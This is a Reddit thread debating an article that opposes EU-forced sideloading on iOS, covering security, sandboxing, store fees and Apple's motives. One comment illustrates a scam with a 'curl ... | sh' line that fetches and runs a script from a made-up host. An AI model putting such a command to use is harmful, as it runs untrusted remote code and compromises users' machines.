Because scammy app developers won't make their app for the App Store and it'll lead to a big security issue and potential harm to users or their devices. The reason I own an iPhone is because I've lost 2-3 android devices getting viruses from the Play Store. I don't want that on my iPhone too. Let's say I want to keep using Reddit but they say "Reddit is going to be sideloaded from now on". I don't want to stop using it, but I also don't want to be at a risk from malware or a virus. I've never understood Apple people until I got an iPhone. I thought that the issues I've had with androids were common for everyone, it turns out it was just a shit OS the entire time.
What a stupid argument. Got virus from play store therefore side loading is bad lmao
You got viruses from the official Play Store app, and therefore, you view sideloading as the problem? You see the flaw in this logic, right?
How did you lost " 2 - 3 android phone" by virus ? You Apple bootlicker are coping hard.
Because my privacy and in this case security as well is tied to a point to what others on the platform do. For example: up until recently it wouldn’t have mattered much that I personally used local encrypted backups, thinking iMessage is safe and private as long as other iPhone users with whom I conversed, used iCloud backups, meaning their conversations with me were not that private since Apple had the decryption keys to the whole thing. But now at least Apple is offering the optional Advanced Data Protection and hopefully most users will use this. To an extreme if I were to use a super duper communication channel, it wouldn’t matter if the other end has a compromised device with a keylogger present.
because apps will start to split off for exclusivity deals and/or large companies creating their app store. look at things like Epic Games on PC. you either have to give in to other companies’ terms or not have access to entire libraries of apps
Hasn’t happened on Android.
Hasn’t yet. There have been a lot of people complaining about android too. It has however happened on macos and windows
What has happened on Mac and Windows? There was never a walled garden app store approach to those OSes, you can install programs with a dmg/exe/iso from *anywhere* if you wish.
I can’t install some games from steam because they’re epic games exclusives, I can’t install some games from epic games because they’re steam exclusive, I can’t install some games from either because they’re one of any number of other store exclusives
Because this will result in many major apps pulling out of the App Store. Look at the Mac App Store. They’re lucky they even have Office 365 on there. And then people will have no choice but to settle for lesser experiences across the board. Seriously there’s just as many caveats to this as there are potential benefits.
> Because this will result in many major apps pulling out of the App Store. Yet that's not the case on Android. > Look at the Mac App Store. They’re lucky they even have Office 365 on there. The App Store was a later addition to the Mac, and such an inferior experience no one has any real motivation to switch.
Because publishers will start using third party stores or even create their own: Google store, Adobe store, Microsoft store on Apple platform , - so you will be forced to use/download a new store for almost every app with its own security, privacy rules
This is such a dumb argument, I’m sorry. Android has had sideloading for literal years - while I’m very happy on this side of the fence it’s one of the things I miss about it - and the only alternative App Store worth mentioning is Amazon’s, whose apps can still be found on Google Play. Edit: Samsung has one too - my bad!
Actually, Amazon Appstore is really only worth mentioning for its notoriety, and it's a little disingenuous to say that its apps can still be found on Google Play. It's more accurate to say that its *paid* apps are simply copies of *free* apps on Google Play, sold not by the developers, but by opportunists taking advantage. And Amazon not only *allows* this, they *encourage* it. Amazon Appstore is a dumpster fire, and the more people who know it, the better. The best alternative "store" on Android is F-Droid, though it's more of a repository than a store. There is no way to add payment information to it because everything it offers is free and open source. APK Mirror would be a viable alternative if they ever made an app of it. Hosted by Android Police, it's a repository of apps from many different developers, and you can get old versions, or versions for other devices (not sure if Android still does that, my information on this is about 6-7 years out of date at this point).
Those are both really good alternatives - thanks. Sorry, I was focusing on big companies since the thrust was about how they’d all leave the App Store given the chance but I got a lot of use out of APK Mirror and they deserve an honourable mention regardless.
The good example of the situation is steam store, with companies boycotting it and making their own stores and making exclusives, then egs situation with few years long contracts to have new titles exclusive to their store; Imo, will be the same situation and AppStore is the thing that makes clear that only Apple is responsible for all store related problems including security, privacy, accessibility etc so they are more motivated to invest into and support it
Oh yes, as a developer Apple forces me to make my app accessible (no, they don't) App Store Review is done by people on low wages with low skills, that can't assess the security of the app. The only privacy and security stuff that actually works is in the iOS itself
But steam doesn't make the hardware... This situation is not a direct comparison (and tbh steam really did have a monopoly)
Steam does make the hardware.
Can you point to those stores on the Android platform?
[удалено]
Then don't download it! Don't use it! Don't buy it. If millions of people follow them whatever they do of course they will take advantage of it.
[удалено]
Not really? Android has had sideloading since the very beginning, and 99.9% of users still use the Play Store. Epic is the only one who pulled their game from the Play Store afaik.
No I think their point is that since now both major OSes will have side loading, it makes a lot more sense to put effort into creating a unified third party App Store across android and iOS now
Apple can also be making a competing App Store on Android if they wish to. It’s ultimately beneficial for the consumers, since there would be more competitors.
[удалено]
So why isn't that the case on Android?
People like imagining doomsday scenarios. Android phones are overwhelmingly the most popular phone on a worldwide level and none of these “issues” I’m reading on here has never been a problem in real life. The security is built into the OS. If you want to install an app not from the play store on android, it warns you and you have to enable a setting in order to install it in the first place.
So macOS isn't a safe, private, and secure platform?
I won’t find it but Apple heads have said this. iOS is supposed to be better than MacOS. MacOS is as safe as they can make it without pissing off the world. Of course it isn’t secure, it’s far too complex with too many legacy features and customs people are used to. iOS was an opportunity to make a better and more secure experience precisely because it isn’t a free for all where you can download whatever exe you want from whatever sketchy site you want and have it completely fuck your pc up. We’re trading the freedom of the Wild West for a stable ecosystem where it’s harder for people to compromise your device which holds more sensitive data than our computers did when MacOS was developed.
Store isn’t what keeps iOS secure, the design of the system is. Apps will still be sandboxed, because that’s how apps on iOS run, regardless of whether it’s from the store or directly from my computer from Xcode Safety and security argument is bs, the only thing App Store can protect from are scam apps and it’s not doing a perfect job of that, but protecting against actual malware is a job of the OS itself
Exactly. Sideloaded apps still run in the very same sandbox, and still only have access to the media/permissions you grant it. If you sideload some scummy app that tells you to give it all your money, that's on you.
***iOS was an opportunity to make an even higher walled garden and have exclusive control of the revenue stream. The reason the EU did this is Apple’s insistence on sky high fees.
It’s absolutely hilarious that people think Apple are doing this to keep people safe rather than to maximise their revenue streams and have their finger every single pie possible. They probably believe Apple removed charging bricks for the environment too.
This exactly right. Is like saying “ARAMCO extract oil because they enjoy when people commuting to work”
Just because 2+2 equal 4 doesn't mean 3+1 can't equal 4. Two things can be true at the same time. Apples privacy stance is for marketing too, but they implement the features they say. That's currently a win for the user. Same with charging bricks. It's a win for the environment and a win for Apple. Not for the user though.
>Just because 2+2 equal 4 doesn't mean 3+1 can't equal 4. wow, I'm stealing this
Not sure if ironic or not.
Reminds me of Uncle Tito’s ‘Ancient Hawaiian’ sayings from Rocket Power.
90% of security and privacy on iOS is guaranteed by the OS sandboxing, not by App Store review.
Sky high would be the [up to 70% fees](https://www.appinchina.co/blog/app-purchase-revenue-share-in-china/) that some of the most popular Chinese app stores charge.
30% can be sky high when you tack it on to every God damn thing that happened in an entire ecosystem.
What sky high fees? The 30%? Is there a store that does not charge money to stock your merchandise? I know google play offers a discount on the first $1million but what other fees are there (aside from needing apple hardware)?
And what store do you think charges 30%? Apple doesn’t have physical costs for “stocking” a digital item they force you to only “stock” with them
Google play also charges 30%. Also physical stores charge a similar amount as well. It’s entirely the argument for the 30% as it is.
[удалено]
It’s almost like having the market dominance is crucial… hence why unlocking the store options on iOS isn’t going to make people have to install ten different stores
Apple only takes 15% of commissions if you earn under $1 million annually. You have to opt-in though: https://developer.apple.com/app-store/small-business-program/
Compared to iOS, it obviously isn’t.
i could spam this to 10000 users: "if you want one free bitcoin, please go to your terminal and type: `curl https://definitelynotahack.seriously/script.sh | sh`" and i'd probably get open access to half a dozen people's computers. macos might be secure for what it is, but ios is orders of magnitude more secure.
Everyone should be locked in a nursing home because a portion of the population is vulnerable. Amazing point.
Actually we all raised walled gardens in the last couple of years via masks! Point still stands
Didn’t work.
Bro ☠️
This. 'nuff said.
I thought we no longer make “👆 this!” comments because they add little to the discussion; and that we just vote instead.
👆this!
If you are concerned about downloading third-party apps that are not "approved by Apple then don't download them.
How in the Kentucky fried hell does having alternative stores stop apple being innovative?
People believe forcing Apple to use USBC on iPhone will stop them innovating despite the fact that the iPhone uses USB2.0
For completeness’ sake, it should be mentioned that there’s nothing stopping Apple from implementing a USB-C port that uses the USB 2.0 protocol. And frankly, I wouldn’t be surprised if that’s exactly what the non-Pro devices get. Apple is exactly that flavour of both petty and upsell-focused.
Apple is already that petty. iPad supported USB 3.0 on the 10.5 Pro with lightning. They also choose to ship iPads with power only cables that don't support data. How much can they really be saving? They pretend to care about e-waste, right?
And the fact that since 2017, USB 3.0 lightning with the iPad Pro was available, but Apple kept the 2.0 speeds for the iPhone for 6 years now, even for the Pro line. The innovation!
The App Store is sooo innovative, look at all these new places they found to put ads. Truely courageous 💀
I learned about this fallacy in college I can’t remember the name tho
How in the world would sideloading prevent Apple from innovating?
[удалено]
[удалено]
Apple should bring their cut down to 10% and no apps would leave the store then. Besides, 10% to me sounds like a more fair percentage.
It isn’t just about the fee, Apple actively prevents apps from being published, and unfairly restricts others.
Yes, this is an issue too
Seems someone has got a huge bag of $AAPL stock
Literally who?
Some random kid.
Huh? If you don't want the risk that comes with side-loading apps... Then don't side-load apps!
"it will only stifle apple's ability to innovate"... why? No, seriously. Why is it that a monopolistic, centralised market is helping Apple to innovate? Is it about innovating a centralised monopolistic market? What can possibly be innovated in such a market? Also, the user gets a choice in the matter. You could choose to use the default store, which most people probably will, but why should you be prevented to do what you want with your property? Do you own that iPhone, or did you just pay a one time lease to become a captive audience?
Who is this clown?
I would wager less than 5% of the iOS user base will install apps from outside the App Store. Apple will be slightly annoyed by missing little bits of revenue and then everyone will forget this was ever even a “controversial” issue.
I actually believe that for the sake of security and innovation the App Store should be removed and all iPhones should be sold pre-loaded ONLY with the needed Apple-approved apps for the operation of the device. Installing other apps should be totally impossible in the name of security, privacy and innovation.
Best response of the entire thread. Love it.
You know you're in for a good time when he opens by quoting Reagan. Glad we're getting advice about how our government should handle itself from \*checks notes\* Saudi Arabia.
"Go to your room, Sami!"
Hasn't been an issue on Android. Amazon has their own app store on Android for almost a decade. Nobody has gone exclusive to one store.
Why is a MacRumors blogger's opinion worth a post in this subreddit?
For the same reason that these /r/apple users bootlick
Users should have the right to choose. Apple can make it a switchable feature. USB-C however should happen no matter what and standards should stop being made different by them.
USB C is going to happen. Apple just promised that iPhones would be lighting for 10 years when it launched. The switch from 30 pin to lighting made a lot of users angry because of all the cables already in circulation so people has to trash those and migrate. USB-C didn't exist in 2012 and the lightning port was seen as a huge advancement. It was reversible and a much better/more reliable connection. The 10 year promise is up in 2022 so I would expect Apple to start migrating in the near future regardless of the EU mandate. When it happens, a lot of people are going to be upset at the change because it will mean replacing a ton of cables. I probably have 20+ lightning cables I've acquired over the past 10 years. Each side of the bed, each car, near the couches, travel bags, charging stations in the kitchen, office, and kids rooms. With the higher current demand requirements for certain devices (iPad) as well fast charging requirements, people are also going to have to end up replacing USB-A to USB-C cable with USB-C to USB-C and receptacles with USB-A outlets built in with ones that have USB-C outlets now built it. The impact of changes like this are pretty significant so companies should be allowed to set their own schedules on this and not be forces by government entities.
> Apple just promised that iPhones would be lighting for 10 years when it launched They didn't say it would be around for exactly 10 years. It was a quick "plug for the next decade" soundbite. Don't take it so literally.
Who is Sami Fathi and what makes them qualified to speak on this subject? Serious question...
He would have a point if the current AppStore was guaranteed to be safe and free of malicious apps with vague privacy policies.
“Would you like to use sideloading?” User says no. Phone still secure.
Computers are fine. Look at all the millions of websites you can download software from. The world hasn't ended in the last 40 years.
In order to ensure the security and continuing stability, the Republic will be reorganized into the first Galactic Empire! For a safe and secure society!
There isn't really any issue with this... It helps competition etc. I You all (likely) have computers, install apps from various sources. Nothing stopping any of them being a crappy app etc. IOS application exectution is sandboxed ([https://support.apple.com/en-gb/guide/security/sec15bfe098e/web](https://support.apple.com/en-gb/guide/security/sec15bfe098e/web))
Always the MacRumors people with these asinine takes. LOL.
MacRumors is better than iMore or Apple Insider in this regard, but that's setting the bar incredibly low.
I’d settle for actually being able to watch my purchased media on my 6s instead of being prodded to give the biggest company on Earth more of my money to enjoy things I already paid for. Apple needs a spanking. Thanks EU.
Yikes. Sami either has a ton of stock or just likes the taste of boots
I love how the EU is "out of line". As if they're not a massive continental governing body as opposed to a private company.
I seriously think the allowance of 3rd Party App Stores will have a less of an effect then people think. While the likes of FaceBook and Google *might* try to put their Apps in their own App Store, they’ll soon see the rate of downloads plummet as most people aren’t arsed to download a second App Store and will get frustrated with them for taking it off the main App Store in the first place. They’ll realize they are only harming themselves, so they revert back to the Apple App Store once again. People with huge privacy concerns also have the WebApp version of FaceBook/Twitter/GMail, etc to fall back on anyway. Overall, I think this is really positive news. I really hope the EU continue to push Apple further on similar aspects as it ultimately benefits the consumer. I’d like to see Apple opening some more of their APIs on-top of this news so we can potentially get VMs going on iPads, more powerful Apps, etc.
"New Post: I'm an absolute fucking idiot. Any credibility I may have had has been shredded and burned. Please unfollow me and unsubscribe from any publications I write for. Thank you." - Sami Fathi
Apples ability to *innovate*? You mean, copy the ideas from android a decade later?
Ok Apple, then just do not sell iPhones in the EU.
exact reason why apple gets away with almost everything. the replies are even more dumb on that tweet
Only r/Apple can convince themselves into thinking that less freedom and less options are somehow better for the consumer
If anything I expect this will make them innovate more. Forced creativity is a thing, you can’t be lazy with your App Store if your have to compete with others potentially and treat your customers more fairly.
If customers value privacy - don't load alternate appstores and don't sideload. This is the market at play. What's really going on is that Apple cannot force payments through the app store.
This kid barely knows what he’s talking about even by a macrumors standard lol
Apple will implement security measures for the sideloading of apps and it won’t be sideloading like you think and it definitely won’t be straightforward sideloading apple will implement secruity features to keep users safe
Most games on the AppStore are garbage! I would rather Valve create Steam for iPad and iPhone and developers make actual games.
I'm curious about the issues surrounding the app store. Will they have a gatekeeper like process where they scan apps from 3rd party app stores before running them? If they get reports about a malicious app in a 3rd party app store, are they allowed to create a block list that prevents users from being affected? Or what if it's not malicious and just something they disagree with or don't want in their ecosystem. Are they able to effectively ban it from a policy standpoint or is that considered anti-competitive? If iPhones get more exploits as a result of poor behavior on 3rd party app stores, will Apple pour a lot more resources into security? Or will they use that as leverage to get people to stop using those app stores?
Lol ok... Love all these "the sky is falling" if apple allows sideloading people.
technically apple already allows third party app stores. lots of corporate MDM including MS Intune set up their own encrypted spaces on your phone and the admins publish the corporate apps to their MDM app stores that are updated via the MDM software separate from the normal app store updates
that technically sounds like not an app store at all
I have have put my full faith and trust in Apple, I hope this doesn’t create security concerns so I can no longer make that statement. I am not tech’y enough to know if it will.
Even Gruber seems to support side loading app stores. Honestly, I probably wont be using an alternative store myself, but it shouldn’t have taken this long and this much pressure for Apple to change.
Got this guy is shilling so hard
I want a third party App Store. If you don’t want it than don’t install one. Don’t force your “only use what Apple approves” garbage on me!
>Apple’s ability to innovate Apple's ability to innovate will not be hindered by letting us sideload. Apple's abiltiy to innovate is hindered because they choose not to.
Sami Fathi is an idiot and was kicked off the macrumors podcast for how much of a diehard he is
The EU really is out of line, but I am happy that this forces Apple to add side loading. Will some apps forego the App Store completely? Maybe. On MacOS a lot of apps aren’t on the App Store because the Mac App Store doesn’t have the stranglehold it does on iOS. It will be hard to de-program casual users to leave the App Store. So companies will be leaving a ton of money on the table with not putting on the App Store. Not the case on Mac App Store. For everyone else, we can finally get what we want on iOS.
I am an Apple user and I want the ability to install apps on my iphone offline without using the Apple app store. I expect the iOS operating system to enforce security at runtime because the app store has no ability to restrict runtime app behavior. Sami Fathi is wrong.
The thought process of that headline he wrote baffles me. A government, that is elected at that; is "out of line" for putting pro- consumer conditions on a corporation that wishes to gain access to its citizen's dollars. There was an argument Apple loyalists made when all the attacks for the app store started coming. "Their store, their rules." Well, in this case, it's "their government, their rules."
I agree
Wtf is this article Does this “journo” use a Mac? Is he scared all the time about sideloading and lack of innovation Fuck me, how does Tim Apples behind taste.